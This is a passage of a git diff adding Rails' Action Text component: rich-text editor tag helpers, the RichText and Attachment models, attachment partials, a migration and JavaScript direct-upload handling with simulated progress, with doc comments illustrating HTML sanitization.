+    def sanitizer_allowed_tags
+      allowed_tags || (sanitizer.class.allowed_tags + [ ActionText::Attachment.tag_name, "figure", "figcaption" ])
+    end
+
+    def sanitizer_allowed_attributes
+      allowed_attributes || (sanitizer.class.allowed_attributes + ActionText::Attachment::ATTRIBUTES)
+    end
+  end
+end
diff --git a/actiontext/app/helpers/action_text/tag_helper.rb b/actiontext/app/helpers/action_text/tag_helper.rb
new file mode 100644
index 0000000000000..0d24dbf48639b
--- /dev/null
+++ b/actiontext/app/helpers/action_text/tag_helper.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/object/try"
+require "action_view/helpers/tags/placeholderable"
+
+module ActionText
+  module TagHelper
+    # Returns a `trix-editor` tag that instantiates the Trix JavaScript editor as
+    # well as a hidden field that Trix will write to on changes, so the content will
+    # be sent on form submissions.
+    #
+    # #### Options
+    # *   `:class` - Defaults to "trix-content" so that default styles will be
+    #     applied. Setting this to a different value will prevent default styles
+    #     from being applied.
+    # *   `[:data][:direct_upload_url]` - Defaults to `rails_direct_uploads_url`.
+    # *   `[:data][:blob_url_template]` - Defaults to
+    #     `rails_service_blob_url(":signed_id", ":filename")`.
+    #
+    #
+    # #### Example
+    #
+    #     rich_textarea_tag "content", message.content
+    #     # <input type="hidden" name="content" id="trix_input_post_1">
+    #     # <trix-editor id="content" input="trix_input_post_1" class="trix-content" ...></trix-editor>
+    #
+    #     rich_textarea_tag "content", nil do
+    #       "<h1>Default content</h1>"
+    #     end
+    #     # <input type="hidden" name="content" id="trix_input_post_1" value="&lt;h1&gt;Default content&lt;/h1&gt;">
+    #     # <trix-editor id="content" input="trix_input_post_1" class="trix-content" ...></trix-editor>
+    def rich_textarea_tag(name, value = nil, options = {}, &block)
+      value = capture(&block) if value.nil? && block_given?
+      options = options.symbolize_keys
+
+      options[:value] ||= value.try(:to_editor_html) || value
+      options[:name]  ||= name
+
+      options[:data] ||= {}
+      options[:data][:direct_upload_url] ||= main_app.rails_direct_uploads_url
+      options[:data][:blob_url_template] ||= main_app.rails_service_blob_url(":signed_id", ":filename")
+
+      render RichText.editor.editor_tag(options)
+    end
+    alias_method :rich_text_area_tag, :rich_textarea_tag
+  end
+end
+
+module ActionView::Helpers
+  class Tags::ActionText < Tags::Base
+    include Tags::Placeholderable
+
+    def render(&block)
+      options = @options.stringify_keys
+      add_default_name_and_field(options)
+      html_tag = @template_object.rich_textarea_tag(options.delete("name"), options.fetch("value") { value }, options.except("value"), &block)
+      error_wrapping(html_tag)
+    end
+  end
+
+  module FormHelper
+    # Returns a `trix-editor` tag that instantiates the Trix JavaScript editor as
+    # well as a hidden field that Trix will write to on changes, so the content will
+    # be sent on form submissions.
+    #
+    # #### Options
+    # *   `:class` - Defaults to "trix-content" which ensures default styling is
+    #     applied.
+    # *   `:value` - Adds a default value to the HTML input tag.
+    # *   `[:data][:direct_upload_url]` - Defaults to `rails_direct_uploads_url`.
+    # *   `[:data][:blob_url_template]` - Defaults to
+    #     `rails_service_blob_url(":signed_id", ":filename")`.
+    #
+    #
+    # #### Example
+    #     rich_textarea :message, :content
+    #     # <input type="hidden" name="message[content]" id="message_content_trix_input_message_1">
+    #     # <trix-editor id="content" input="message_content_trix_input_message_1" class="trix-content" ...></trix-editor>
+    #
+    #     rich_textarea :message, :content, value: "<h1>Default message</h1>"
+    #     # <input type="hidden" name="message[content]" id="message_content_trix_input_message_1" value="&lt;h1&gt;Default message&lt;/h1&gt;">
+    #     # <trix-editor id="content" input="message_content_trix_input_message_1" class="trix-content" ...></trix-editor>
+    #
+    #     rich_textarea :message, :content do
+    #       "<h1>Default message</h1>"
+    #     end
+    #     # <input type="hidden" name="message[content]" id="message_content_trix_input_message_1" value="&lt;h1&gt;Default message&lt;/h1&gt;">
+    #     # <trix-editor id="content" input="message_content_trix_input_message_1" class="trix-content" ...></trix-editor>
+    def rich_textarea(object_name, method, options = {}, &block)
+      Tags::ActionText.new(object_name, method, self, options).render(&block)
+    end
+    alias_method :rich_text_area, :rich_textarea
+  end
+
+  class FormBuilder
+    # Wraps ActionView::Helpers::FormHelper#rich_textarea for form builders:
+    #
+    #     <%= form_with model: @message do |f| %>
+    #       <%= f.rich_textarea :content %>
+    #     <% end %>
+    #
+    # Please refer to the documentation of the base helper for details.
+    def rich_textarea(method, options = {}, &block)
+      @template.rich_textarea(@object_name, method, objectify_options(options), &block)
+    end
+    alias_method :rich_text_area, :rich_textarea
+  end
+end
diff --git a/actiontext/app/javascript/actiontext/attachment_upload.js b/actiontext/app/javascript/actiontext/attachment_upload.js
new file mode 100644
index 0000000000000..34a8802e4c1f4
--- /dev/null
+++ b/actiontext/app/javascript/actiontext/attachment_upload.js
@@ -0,0 +1,111 @@
+import { DirectUpload, dispatchEvent } from "@rails/activestorage"
+
+export class AttachmentUpload {
+  constructor(attachment, element, file = attachment.file) {
+    this.attachment = attachment
+    this.element = element
+    this.directUpload = new DirectUpload(file, this.directUploadUrl, this)
+    this.file = file
+  }
+
+  start() {
+    return new Promise((resolve, reject) => {
+      this.directUpload.create((error, attributes) => this.directUploadDidComplete(error, attributes, resolve, reject))
+      this.dispatch("start")
+    })
+  }
+
+  directUploadWillStoreFileWithXHR(xhr) {
+    xhr.upload.addEventListener("progress", event => {
+      // Scale upload progress to 0-90% range
+      const progress = (event.loaded / event.total) * 90
+      if (progress) {
+        this.dispatch("progress", { progress: progress })
+      }
+    })
+
+    // Start simulating progress after upload completes
+    xhr.upload.addEventListener("loadend", () => {
+      this.simulateResponseProgress(xhr)
+    })
+  }
+
+  simulateResponseProgress(xhr) {
+    let progress = 90
+    const startTime = Date.now()
+
+    const updateProgress = () => {
+      // Simulate progress from 90% to 99% over estimated time
+      const elapsed = Date.now() - startTime
+      const estimatedResponseTime = this.estimateResponseTime()
+      const responseProgress = Math.min(elapsed / estimatedResponseTime, 1)
+      progress = 90 + (responseProgress * 9) // 90% to 99%
+
+      this.dispatch("progress", { progress })
+
+      // Continue until response arrives or we hit 99%
+      if (xhr.readyState !== XMLHttpRequest.DONE && progress < 99) {
+        requestAnimationFrame(updateProgress)
+      }
+    }
+
+    // Stop simulation when response arrives
+    xhr.addEventListener("loadend", () => {
+      this.dispatch("progress", { progress: 100 })
+    })
+
+    requestAnimationFrame(updateProgress)
+  }
+
+  estimateResponseTime() {
+    // Base estimate: 1 second for small files, scaling up for larger files
+    const fileSize = this.file.size
+    const MB = 1024 * 1024
+
+    if (fileSize < MB) {
+      return 1000 // 1 second for files under 1MB
+    } else if (fileSize < 10 * MB) {
+      return 2000 // 2 seconds for files 1-10MB
+    } else {
+      return 3000 + (fileSize / MB * 50) // 3+ seconds for larger files
+    }
+  }
+
+  directUploadDidComplete(error, attributes, resolve, reject) {
+    if (error) {
+      this.dispatchError(error, reject)
+    } else {
+      resolve({
+        sgid: attributes.attachable_sgid,
+        url: this.createBlobUrl(attributes.signed_id, attributes.filename)
+      })
+      this.dispatch("end")
+    }
+  }
+
+  createBlobUrl(signedId, filename) {
+    return this.blobUrlTemplate
+      .replace(":signed_id", signedId)
+      .replace(":filename", encodeURIComponent(filename))
+  }
+
+  dispatch(name, detail = {}) {
+    detail.attachment = this.attachment
+    return dispatchEvent(this.element, `direct-upload:${name}`, { detail })
+  }
+
+  dispatchError(error, reject) {
+    const event = this.dispatch("error", { error })
+    if (!event.defaultPrevented) {
+      reject(error)
+    }
+  }
+
+  get directUploadUrl() {
+    return this.element.dataset.directUploadUrl
+  }
+
+  get blobUrlTemplate() {
+    return this.element.dataset.blobUrlTemplate
+  }
+}
diff --git a/actiontext/app/javascript/actiontext/index.js b/actiontext/app/javascript/actiontext/index.js
new file mode 100644
index 0000000000000..86a57189f0880
--- /dev/null
+++ b/actiontext/app/javascript/actiontext/index.js
@@ -0,0 +1,19 @@
+import { AttachmentUpload } from "./attachment_upload"
+
+addEventListener("trix-attachment-add", event => {
+  const { attachment, target } = event
+
+  if (attachment.file) {
+    const upload = new AttachmentUpload(attachment, target, attachment.file)
+    const onProgress = event => attachment.setUploadProgress(event.detail.progress)
+
+    target.addEventListener("direct-upload:progress", onProgress)
+
+    upload.start()
+      .then(attributes => attachment.setAttributes(attributes))
+      .catch(error => alert(error))
+      .finally(() => target.removeEventListener("direct-upload:progress", onProgress))
+  }
+})
+
+export { AttachmentUpload }
diff --git a/actiontext/app/models/action_text/encrypted_rich_text.rb b/actiontext/app/models/action_text/encrypted_rich_text.rb
new file mode 100644
index 0000000000000..971cdd6020580
--- /dev/null
+++ b/actiontext/app/models/action_text/encrypted_rich_text.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  class EncryptedRichText < RichText
+    encrypts :body
+  end
+end
+
+ActiveSupport.run_load_hooks :action_text_encrypted_rich_text, ActionText::EncryptedRichText
diff --git a/actiontext/app/models/action_text/record.rb b/actiontext/app/models/action_text/record.rb
new file mode 100644
index 0000000000000..49904c4ae07a2
--- /dev/null
+++ b/actiontext/app/models/action_text/record.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  class Record < ActiveRecord::Base # :nodoc:
+    self.abstract_class = true
+  end
+end
+
+ActiveSupport.run_load_hooks :action_text_record, ActionText::Record
diff --git a/actiontext/app/models/action_text/rich_text.rb b/actiontext/app/models/action_text/rich_text.rb
new file mode 100644
index 0000000000000..47de7c7645948
--- /dev/null
+++ b/actiontext/app/models/action_text/rich_text.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  # # Action Text RichText
+  #
+  # The RichText record holds the content produced by the Trix editor in a
+  # serialized `body` attribute. It also holds all the references to the embedded
+  # files, which are stored using Active Storage. This record is then associated
+  # with the Active Record model the application desires to have rich text content
+  # using the `has_rich_text` class method.
+  #
+  #     class Message < ActiveRecord::Base
+  #       has_rich_text :content
+  #     end
+  #
+  #     message = Message.create!(content: "<h1>Funny times!</h1>")
+  #     message.content #=> #<ActionText::RichText....
+  #     message.content.to_s # => "<h1>Funny times!</h1>"
+  #     message.content.to_plain_text # => "Funny times!"
+  #
+  #     message = Message.create!(content: "<div onclick='action()'>safe<script>unsafe</script></div>")
+  #     message.content #=> #<ActionText::RichText....
+  #     message.content.to_s # => "<div>safeunsafe</div>"
+  #     message.content.to_plain_text # => "safeunsafe"
+  class RichText < Record
+    ##
+    # :method: to_s
+    #
+    # Safely transforms RichText into an HTML String.
+    #
+    #     message = Message.create!(content: "<h1>Funny times!</h1>")
+    #     message.content.to_s # => "<h1>Funny times!</h1>"
+    #
+    #     message = Message.create!(content: "<div onclick='action()'>safe<script>unsafe</script></div>")
+    #     message.content.to_s # => "<div>safeunsafe</div>"
+
+    cattr_accessor :editors, instance_accessor: false, default: {}.freeze
+    cattr_accessor :editor, instance_accessor: false
+
+    serialize :body, coder: ActionText::Content
+    delegate :to_s, :nil?, to: :body
+
+    ##
+    # :method: record
+    #
+    # Returns the associated record.
+    belongs_to :record, polymorphic: true, touch: true
+
+    ##
+    # :method: embeds
+    #
+    # Returns the ActiveStorage::Attachment records from the embedded files.
+    #
+    # Attached ActiveStorage::Blob records are extracted from the `body`
+    # in a {before_validation}[rdoc-ref:ActiveModel::Validations::Callbacks::ClassMethods#before_validation] callback.
+    has_many_attached :embeds
+
+    before_validation do
+      self.embeds = body.attachables.grep(ActiveStorage::Blob).uniq if body.present?
+    end
+
+    # Returns a plain-text version of the markup contained by the `body` attribute,
+    # with tags removed but HTML entities encoded.
+    #
+    #     message = Message.create!(content: "<h1>Funny times!</h1>")
+    #     message.content.to_plain_text # => "Funny times!"
+    #
+    # NOTE: that the returned string is not HTML safe and should not be rendered in
+    # browsers.
+    #
+    #     message = Message.create!(content: "&lt;script&gt;alert()&lt;/script&gt;")
+    #     message.content.to_plain_text # => "<script>alert()</script>"
+    def to_plain_text
+      body&.to_plain_text.to_s
+    end
+
+    # Returns the `body` attribute in a format that makes it editable in the Trix
+    # editor. Previews of attachments are rendered inline.
+    #
+    #     content = "<h1>Funny Times!</h1><figure data-trix-attachment='{\"sgid\":\"..."\}'></figure>"
+    #     message = Message.create!(content: content)
+    #     message.content.to_trix_html # =>
+    #     # <div class="trix-content">
+    #     #   <h1>Funny times!</h1>
+    #     #   <figure data-trix-attachment='{\"sgid\":\"..."\}'>
+    #     #      <img src="http://example.org/rails/active_storage/.../funny.jpg">
+    #     #   </figure>
+    #     # </div>
+    def to_trix_html
+      to_editor_html
+    end
+    deprecate to_trix_html: :to_editor_html, deprecator: ActionText.deprecator
+
+    # Returns the `body` attribute in a format that makes it editable in the
+    # editor. Previews of attachments are rendered inline.
+    #
+    #     content = "<h1>Funny Times!</h1><figure data-action-text-attachment='{\"sgid\":\"..."\}'></figure>"
+    #     message = Message.create!(content: content)
+    #     message.content.to_editor_html # =>
+    #     # <div class="trix-content">
+    #     #   <h1>Funny times!</h1>
+    #     #   <figure data-action-text-attachment='{\"sgid\":\"..."\}'>
+    #     #      <img src="http://example.org/rails/active_storage/.../funny.jpg">
+    #     #   </figure>
+    #     # </div>
+    def to_editor_html
+      body&.to_editor_html
+    end
+
+    delegate :blank?, :empty?, :present?, to: :to_plain_text
+  end
+end
+
+ActiveSupport.run_load_hooks :action_text_rich_text, ActionText::RichText
diff --git a/actiontext/app/views/action_text/attachables/_content_attachment.html.erb b/actiontext/app/views/action_text/attachables/_content_attachment.html.erb
new file mode 100644
index 0000000000000..e2db56a03faac
--- /dev/null
+++ b/actiontext/app/views/action_text/attachables/_content_attachment.html.erb
@@ -0,0 +1,3 @@
+<figure class="attachment attachment--content">
+  <%= content_attachment.attachable %>
+</figure>
diff --git a/actiontext/app/views/action_text/attachables/_missing_attachable.html.erb b/actiontext/app/views/action_text/attachables/_missing_attachable.html.erb
new file mode 100644
index 0000000000000..5ffd93b89e042
--- /dev/null
+++ b/actiontext/app/views/action_text/attachables/_missing_attachable.html.erb
@@ -0,0 +1 @@
+<%= "☒" -%>
diff --git a/actiontext/app/views/action_text/attachables/_remote_image.html.erb b/actiontext/app/views/action_text/attachables/_remote_image.html.erb
new file mode 100644
index 0000000000000..3372f8d940b34
--- /dev/null
+++ b/actiontext/app/views/action_text/attachables/_remote_image.html.erb
@@ -0,0 +1,8 @@
+<figure class="attachment attachment--preview">
+  <%= image_tag(remote_image.url, width: remote_image.width, height: remote_image.height) %>
+  <% if caption = remote_image.try(:caption) %>
+    <figcaption class="attachment__caption">
+      <%= caption %>
+    </figcaption>
+  <% end %>
+</figure>
diff --git a/actiontext/app/views/action_text/attachment_galleries/_attachment_gallery.html.erb b/actiontext/app/views/action_text/attachment_galleries/_attachment_gallery.html.erb
new file mode 100644
index 0000000000000..6bc8674dc51de
--- /dev/null
+++ b/actiontext/app/views/action_text/attachment_galleries/_attachment_gallery.html.erb
@@ -0,0 +1,3 @@
+<div class="attachment-gallery attachment-gallery--<%= attachment_gallery.size %>">
+  <%= yield %>
+</div>
diff --git a/actiontext/app/views/action_text/contents/_content.html.erb b/actiontext/app/views/action_text/contents/_content.html.erb
new file mode 100644
index 0000000000000..898a5066770e0
--- /dev/null
+++ b/actiontext/app/views/action_text/contents/_content.html.erb
@@ -0,0 +1 @@
+<%= render_action_text_content(content) %>
diff --git a/actiontext/app/views/active_storage/blobs/_blob.html.erb b/actiontext/app/views/active_storage/blobs/_blob.html.erb
new file mode 100644
index 0000000000000..49ba357dd1d4a
--- /dev/null
+++ b/actiontext/app/views/active_storage/blobs/_blob.html.erb
@@ -0,0 +1,14 @@
+<figure class="attachment attachment--<%= blob.representable? ? "preview" : "file" %> attachment--<%= blob.filename.extension %>">
+  <% if blob.representable? %>
+    <%= image_tag blob.representation(resize_to_limit: local_assigns[:in_gallery] ? [ 800, 600 ] : [ 1024, 768 ]) %>
+  <% end %>
+
+  <figcaption class="attachment__caption">
+    <% if caption = blob.try(:caption) %>
+      <%= caption %>
+    <% else %>
+      <span class="attachment__name"><%= blob.filename %></span>
+      <span class="attachment__size"><%= number_to_human_size blob.byte_size %></span>
+    <% end %>
+  </figcaption>
+</figure>
diff --git a/actiontext/app/views/layouts/action_text/contents/_content.html.erb b/actiontext/app/views/layouts/action_text/contents/_content.html.erb
new file mode 100644
index 0000000000000..9e3c0d0dff0fd
--- /dev/null
+++ b/actiontext/app/views/layouts/action_text/contents/_content.html.erb
@@ -0,0 +1,3 @@
+<div class="trix-content">
+  <%= yield -%>
+</div>
diff --git a/actiontext/bin/test b/actiontext/bin/test
new file mode 100755
index 0000000000000..c53377cc970f4
--- /dev/null
+++ b/actiontext/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/actiontext/db/migrate/20180528164100_create_action_text_tables.rb b/actiontext/db/migrate/20180528164100_create_action_text_tables.rb
new file mode 100644
index 0000000000000..6eb2e90b8bcca
--- /dev/null
+++ b/actiontext/db/migrate/20180528164100_create_action_text_tables.rb
@@ -0,0 +1,25 @@
+class CreateActionTextTables < ActiveRecord::Migration[6.0]
+  def change
+    # Use Active Record's configured type for primary and foreign keys
+    primary_key_type, foreign_key_type = primary_and_foreign_key_types
+
+    create_table :action_text_rich_texts, id: primary_key_type do |t|
+      t.string     :name, null: false
+      t.text       :body, size: :long
+      t.references :record, null: false, polymorphic: true, index: false, type: foreign_key_type
+
+      t.timestamps
+
+      t.index [ :record_type, :record_id, :name ], name: "index_action_text_rich_texts_uniqueness", unique: true
+    end
+  end
+
+  private
+    def primary_and_foreign_key_types
+      config = Rails.configuration.generators
+      setting = config.options[config.orm][:primary_key_type]
+      primary_key_type = setting || :primary_key
+      foreign_key_type = setting || :bigint
+      [ primary_key_type, foreign_key_type ]
+    end
+end
diff --git a/actiontext/lib/action_text.rb b/actiontext/lib/action_text.rb
new file mode 100644
index 0000000000000..0fdb37511c227
--- /dev/null
+++ b/actiontext/lib/action_text.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require "active_support"
+require "active_support/rails"
+
+require "action_text/version"
+require "action_text/deprecator"
+
+require "nokogiri"
+
+# :markup: markdown
+# :include: ../README.md
+module ActionText
+  extend ActiveSupport::Autoload
+
+  autoload :Attachable
+  autoload :AttachmentGallery
+  autoload :Attachment
+  autoload :Attribute
+  autoload :Configurator
+  autoload :Content
+  autoload :Editor
+  autoload :Encryption
+  autoload :Fragment
+  autoload :FixtureSet
+  autoload :HtmlConversion
+  autoload :PlainTextConversion
+  autoload :Registry
+  autoload :Rendering
+  autoload :Serialization
+  autoload :TrixAttachment
+
+  module Attachables
+    extend ActiveSupport::Autoload
+
+    autoload :ContentAttachment
+    autoload :MissingAttachable
+    autoload :RemoteImage
+  end
+
+  module Attachments
+    extend ActiveSupport::Autoload
+
+    autoload :Caching
+    autoload :Conversion
+    autoload :Minification
+    autoload :TrixConversion
+  end
+
+  class << self
+    def html_document_class
+      return @html_document_class if defined?(@html_document_class)
+      @html_document_class =
+        defined?(Nokogiri::HTML5) ? Nokogiri::HTML5::Document : Nokogiri::HTML4::Document
+    end
+
+    def html_document_fragment_class
+      return @html_document_fragment_class if defined?(@html_document_fragment_class)
+      @html_document_fragment_class =
+        defined?(Nokogiri::HTML5) ? Nokogiri::HTML5::DocumentFragment : Nokogiri::HTML4::DocumentFragment
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/attachable.rb b/actiontext/lib/action_text/attachable.rb
new file mode 100644
index 0000000000000..3fc621ab21f08
--- /dev/null
+++ b/actiontext/lib/action_text/attachable.rb
@@ -0,0 +1,169 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  # # Action Text Attachable
+  #
+  # Include this module to make a record attachable to an ActionText::Content.
+  #
+  #     class Person < ApplicationRecord
+  #       include ActionText::Attachable
+  #     end
+  #
+  #     person = Person.create! name: "Javan"
+  #     html = %Q(<action-text-attachment sgid="#{person.attachable_sgid}"></action-text-attachment>)
+  #     content = ActionText::Content.new(html)
+  #     content.attachables # => [person]
+  module Attachable
+    extend ActiveSupport::Concern
+
+    LOCATOR_NAME = "attachable"
+
+    class << self
+      # Extracts the `ActionText::Attachable` from the attachment HTML node:
+      #
+      #     person = Person.create! name: "Javan"
+      #     html = %Q(<action-text-attachment sgid="#{person.attachable_sgid}"></action-text-attachment>)
+      #     fragment = ActionText::Fragment.wrap(html)
+      #     attachment_node = fragment.find_all(ActionText::Attachment.tag_name).first
+      #     ActionText::Attachable.from_node(attachment_node) # => person
+      def from_node(node)
+        if attachable = attachable_from_sgid(node["sgid"])
+          attachable
+        elsif attachable = ActionText::Attachables::ContentAttachment.from_node(node)
+          attachable
+        elsif attachable = ActionText::Attachables::RemoteImage.from_node(node)
+          attachable
+        else
+          ActionText::Attachables::MissingAttachable.new(node["sgid"])
+        end
+      end
+
+      def from_attachable_sgid(sgid, options = {})
+        method = sgid.is_a?(Array) ? :locate_many_signed : :locate_signed
+        record = GlobalID::Locator.public_send(method, sgid, options.merge(for: LOCATOR_NAME))
+        record || raise(ActiveRecord::RecordNotFound)
+      end
+
+      private
+        def attachable_from_sgid(sgid)
+          from_attachable_sgid(sgid)
+        rescue ActiveRecord::RecordNotFound
+          nil
+        end
+    end
+
+    class_methods do
+      def from_attachable_sgid(sgid)
+        ActionText::Attachable.from_attachable_sgid(sgid, only: self)
+      end
+
+      # Returns the path to the partial that is used for rendering missing
+      # attachables. Defaults to "action_text/attachables/missing_attachable".
+      #
+      # Override to render a different partial:
+      #
+      #     class User < ApplicationRecord
+      #       def self.to_missing_attachable_partial_path
+      #         "users/missing_attachable"
+      #       end
+      #     end
+      def to_missing_attachable_partial_path
+        ActionText::Attachables::MissingAttachable::DEFAULT_PARTIAL_PATH
+      end
+    end
+
+    # Returns the Signed Global ID for the attachable. The purpose of the ID is set
+    # to 'attachable' so it can't be reused for other purposes.
+    def attachable_sgid
+      to_sgid(expires_in: nil, for: LOCATOR_NAME).to_s
+    end
+
+    def attachable_content_type
+      try(:content_type) || "application/octet-stream"
+    end
+
+    def attachable_filename
+      filename.to_s if respond_to?(:filename)
+    end
+
+    def attachable_filesize
+      try(:byte_size) || try(:filesize)
+    end
+
+    def attachable_metadata
+      try(:metadata) || {}
+    end
+
+    def previewable_attachable?
+      false
+    end
+
+    # Returns the path to the partial that is used for rendering the attachable in
+    # Trix. Defaults to `to_partial_path`.
+    #
+    # Override to render a different partial:
+    #
+    #     class User < ApplicationRecord
+    #       def to_trix_content_attachment_partial_path
+    #         "users/trix_content_attachment"
+    #       end
+    #     end
+    def to_trix_content_attachment_partial_path
+      to_editor_content_attachment_partial_path
+    end
+    deprecate to_trix_content_attachment_partial_path: :to_editor_content_attachment_partial_path, deprecator: ActionText.deprecator
+
+    # Returns the path to the partial that is used for rendering the attachable in
+    # the rich text editor. Defaults to `to_partial_path`.
+    #
+    # Override to render a different partial:
+    #
+    #     class User < ApplicationRecord
+    #       "users/editor_content_attachment"
+    #     end
+    def to_editor_content_attachment_partial_path
+      to_partial_path
+    end
+
+    # Returns the path to the partial that is used for rendering the attachable.
+    # Defaults to `to_partial_path`.
+    #
+    # Override to render a different partial:
+    #
+    #     class User < ApplicationRecord
+    #       def to_attachable_partial_path
+    #         "users/attachable"
+    #       end
+    #     end
+    def to_attachable_partial_path
+      to_partial_path
+    end
+
+    def to_rich_text_attributes(attributes = {})
+      attributes.dup.tap do |attrs|
+        attrs[:sgid] = attachable_sgid
+        attrs[:content_type] = attachable_content_type
+        attrs[:previewable] = true if previewable_attachable?
+        attrs[:filename] = attachable_filename
+        attrs[:filesize] = attachable_filesize
+        attrs[:width] = attachable_metadata[:width]
+        attrs[:height] = attachable_metadata[:height]
+      end.compact
+    end
+
+    private
+      def attribute_names_for_serialization
+        super + ["attachable_sgid"]
+      end
+
+      def read_attribute_for_serialization(key)
+        if key == "attachable_sgid"
+          persisted? ? super : nil
+        else
+          super
+        end
+      end
+  end
+end
diff --git a/actiontext/lib/action_text/attachables/content_attachment.rb b/actiontext/lib/action_text/attachables/content_attachment.rb
new file mode 100644
index 0000000000000..17f2dceb97821
--- /dev/null
+++ b/actiontext/lib/action_text/attachables/content_attachment.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module Attachables
+    class ContentAttachment # :nodoc:
+      include ActiveModel::Model
+
+      def self.from_node(node)
+        attachment = new(content_type: node["content-type"], content: node["content"])
+        attachment if attachment.valid?
+      end
+
+      attr_accessor :content_type, :content
+
+      validates_format_of :content_type, with: /html/
+      validates_presence_of :content
+
+      def attachable_plain_text_representation(caption)
+        content_instance.fragment.source
+      end
+
+      def to_html
+        @to_html ||= content_instance.render(content_instance)
+      end
+
+      def to_s
+        to_html
+      end
+
+      def to_partial_path
+        "action_text/attachables/content_attachment"
+      end
+
+      private
+        def content_instance
+          @content_instance ||= ActionText::Content.new(content)
+        end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/attachables/missing_attachable.rb b/actiontext/lib/action_text/attachables/missing_attachable.rb
new file mode 100644
index 0000000000000..47f0d68fa3a22
--- /dev/null
+++ b/actiontext/lib/action_text/attachables/missing_attachable.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module Attachables
+    class MissingAttachable
+      extend ActiveModel::Naming
+
+      DEFAULT_PARTIAL_PATH = "action_text/attachables/missing_attachable"
+
+      def initialize(sgid)
+        @sgid = SignedGlobalID.parse(sgid, for: ActionText::Attachable::LOCATOR_NAME)
+      end
+
+      def to_partial_path
+        if model
+          model.to_missing_attachable_partial_path
+        else
+          DEFAULT_PARTIAL_PATH
+        end
+      end
+
+      def model
+        @sgid&.model_name.to_s.safe_constantize
+      end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/attachables/remote_image.rb b/actiontext/lib/action_text/attachables/remote_image.rb
new file mode 100644
index 0000000000000..d5e99f157950c
--- /dev/null
+++ b/actiontext/lib/action_text/attachables/remote_image.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module Attachables
+    class RemoteImage
+      extend ActiveModel::Naming
+
+      class << self
+        def from_node(node)
+          if remote_url?(node["url"]) && content_type_is_image?(node["content-type"])
+            new(attributes_from_node(node))
+          end
+        end
+
+        private
+          def remote_url?(url)
+            url && ActionView::Helpers::AssetUrlHelper::URI_REGEXP.match?(url)
+          end
+
+          def content_type_is_image?(content_type)
+            content_type.to_s.match?(/^image(\/.+|$)/)
+          end
+
+          def attributes_from_node(node)
+            { url: node["url"],
+              content_type: node["content-type"],
+              width: node["width"],
+              height: node["height"] }
+          end
+      end
+
+      attr_reader :url, :content_type, :width, :height
+
+      def initialize(attributes = {})
+        @url = attributes[:url]
+        @content_type = attributes[:content_type]
+        @width = attributes[:width]
+        @height = attributes[:height]
+      end
+
+      def attachable_plain_text_representation(caption)
+        "[#{caption || "Image"}]"
+      end
+
+      def to_partial_path
+        "action_text/attachables/remote_image"
+      end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/attachment.rb b/actiontext/lib/action_text/attachment.rb
new file mode 100644
index 0000000000000..93081d8ce3827
--- /dev/null
+++ b/actiontext/lib/action_text/attachment.rb
@@ -0,0 +1,148 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/object/try"
+
+module ActionText
+  # # Action Text Attachment
+  #
+  # Attachments serialize attachables to HTML or plain text.
+  #
+  #     class Person < ApplicationRecord
+  #       include ActionText::Attachable
+  #     end
+  #
+  #     attachable = Person.create! name: "Javan"
+  #     attachment = ActionText::Attachment.from_attachable(attachable)
+  #     attachment.to_html # => "<action-text-attachment sgid=\"BAh7CEk..."
+  class Attachment
+    include Attachments::TrixConversion, Attachments::Minification, Attachments::Caching, Attachments::Conversion
+
+    mattr_accessor :tag_name, default: "action-text-attachment"
+
+    ATTRIBUTES = %w( sgid content-type url href filename filesize width height previewable presentation caption content )
+
+    class << self
+      def fragment_by_canonicalizing_attachments(content)
+        fragment_by_minifying_attachments(fragment_by_converting_editor_attachments(content))
+      end
+
+      def from_node(node, attachable = nil)
+        new(node, attachable || ActionText::Attachable.from_node(node))
+      end
+
+      def from_attachables(attachables)
+        Array(attachables).filter_map { |attachable| from_attachable(attachable) }
+      end
+
+      def from_attachable(attachable, attributes = {})
+        if node = node_from_attributes(attachable.to_rich_text_attributes(attributes))
+          new(node, attachable)
+        end
+      end
+
+      def from_attributes(attributes, attachable = nil)
+        if node = node_from_attributes(attributes)
+          from_node(node, attachable)
+        end
+      end
+
+      private
+        def node_from_attributes(attributes)
+          if attributes = process_attributes(attributes).presence
+            ActionText::HtmlConversion.create_element(tag_name, attributes)
+          end
+        end
+
+        def process_attributes(attributes)
+          attributes.transform_keys { |key| key.to_s.underscore.dasherize }.slice(*ATTRIBUTES)
+        end
+    end
+
+    attr_reader :node, :attachable
+
+    delegate :to_param, to: :attachable
+    delegate_missing_to :attachable
+
+    def initialize(node, attachable)
+      @node = node
+      @attachable = attachable
+    end
+
+    def caption
+      node_attributes["caption"].presence
+    end
+
+    def full_attributes
+      node_attributes.merge(attachable_attributes).merge(sgid_attributes)
+    end
+
+    def with_full_attributes
+      self.class.from_attributes(full_attributes, attachable)
+    end
+
+    # Converts the attachment to plain text.
+    #
+    #     attachable = ActiveStorage::Blob.find_by filename: "racecar.jpg"
+    #     attachment = ActionText::Attachment.from_attachable(attachable)
+    #     attachment.to_plain_text # => "[racecar.jpg]"
+    #
+    # Use the `caption` when set:
+    #
+    #     attachment = ActionText::Attachment.from_attachable(attachable, caption: "Vroom vroom")
+    #     attachment.to_plain_text # => "[Vroom vroom]"
+    #
